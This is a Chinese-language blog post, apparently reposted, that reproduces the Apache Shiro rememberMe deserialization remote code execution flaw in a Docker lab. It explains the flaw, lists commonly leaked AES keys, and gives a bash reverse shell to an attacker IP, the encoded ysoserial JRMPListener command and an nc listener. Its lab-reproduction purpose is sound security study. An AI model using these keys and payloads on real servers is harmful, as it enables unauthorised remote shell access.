ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Apache Shiro反序列化远程代码执行复现

2020-07-04 13:35:54  阅读:704  来源: 互联网

标签:AES java rememberMe cookie 代码执行 key Apache 序列化 shiro


 

最近也是看shiro漏洞比较多,所以自己也在本地复现了一下,拿出来与大家一起分享

0x00 关于Apache Shiro

Apache shiro是一个Java安全框架,提供了认证、授权、加密和会话管理功能,为解决应⽤安全提供了相应的API:

认证-⽤用户身份识别,常被称为用户”登录”
授权-访问控制
密码加密-保护或隐藏数据防止被偷窥
会话管理-用户相关的时间敏感的状态

0x01 环境搭建

漏洞版本<=1.2.4,使用docker搭建

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

访问80端口即可访问漏洞环境

 

0x02 所需工具

(1)攻击机kali(192.168.10.101)

(2)centos7靶机(192.168.10.105)

(3)docker环境

(4)shiro.py利用脚本

(5)ysoserial.jar(java反序列化利用工具)

 

0x03 漏洞原理

从官方的 issue 上来看,存在几个重要的点:

  • rememberMe cookie
  • CookieRememberMeManager.java
  • Base64
  • AES
  • 加密密钥硬编码
  • Java serialization

 

Shiro550:
shiro≤1.2.4版本,默认使⽤了CookieRememberMeManager,由于AES使用的key泄露,导致反序列化的cookie可控,从而引发反序列化攻击。(理论上只要AES加密钥泄露,都会导致反序列化漏洞)

整个漏洞简单的cookie处理流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。除了找到相关的参数(默认rememberMe)以外,还需要结合如下因素:

shiro在1.2.4版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来。所以整个AES加解密过程的key就很重要了,正是因为AES使用默认的KEY/常见的KEY/KEY泄露导致反序列化的cookie可控,从⽽引发反序列化漏洞。


常见的key如下:

kPH+bIxk5D2deZiIxcaaaA==(1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==

 

有时候可能存在未知key的情况,那么可以采取 Shiro-721 的报错逻辑来进⾏遍历key(前提是正常登录得到一个rememberMe的值):


Shiro721:

rememberMe cookie通过AES-128-CBC模式加密,易受到Padding Oracle攻击。可以通过结合有效的rememberMe cookie作为Padding Oracle攻击的前缀,然后精⼼制作rememberMe来进⾏反序列化攻击。


Tip:可以结合JRMP gadget使⽤用,可以⼤大幅减少生成序列化数据的长度,同时在1.2.4版本后,shiro已经更换 AES-CBC AES-CBC 为 AES-GCM AES-GCM ,无法再通过Padding Oracle遍历key。

 

0x04 漏洞演示

我们搭建好环境就是这样一个界面

 

 

 

然后输入用户名,密码,勾选Remember Me选项

用burp抓包,然后重放一下,go

 

 

发现返回包中有rememberMe=deleteMe的字样(这是shiro漏洞的标志)

说明存在shiro漏洞

 

我们先得知道他所用的key是啥,有一个工具很好用,用它可以在dnslog上成功打出key

 

 

 

 

 ps:shiro.py脚本中默认用的是"KPH......"这个key,若打出的key不同,可以修改

 

然后我们来构造payload来进行反弹shell的操作

写好反弹shell的命令

bash -i >& /dev/tcp/192.168.10.101/666 0>&1

 

然后转换成加密后的指令(去这个网站http://www.jackson-t.ca/runtime-exec-payloads.html)

 

 

 

将指令合成为一个java的监听指令

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwMS82NjYgMD4mMQ==}|{base64,-d}|{bash,-i}'

 

运行它开启java一个监听端口

 

 

 

利用脚本向java发送请求生成poc

python shiro.py 192.168.10.101:6666

 

 

然后先在kali上开启一个监听

nc -lvp 666

 

 

然后将生成的rememberMe=*******放到发送包的Cookie中

 

 

这时成功反弹了shell

 

ps: shiro.py 和ysoserial.jar要放在同一路径下

 

 

参考:http://vlambda.com/wz_wAgsAcgbFI.html

          https://paper.seebug.org/shiro-rememberme-1-2-4/

   https://blog.csdn.net/weixin_38166689/article/details/101154245

 

标签:AES,java,rememberMe,cookie,代码执行,key,Apache,序列化,shiro
来源: https://www.cnblogs.com/zzjdbk/p/13234664.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有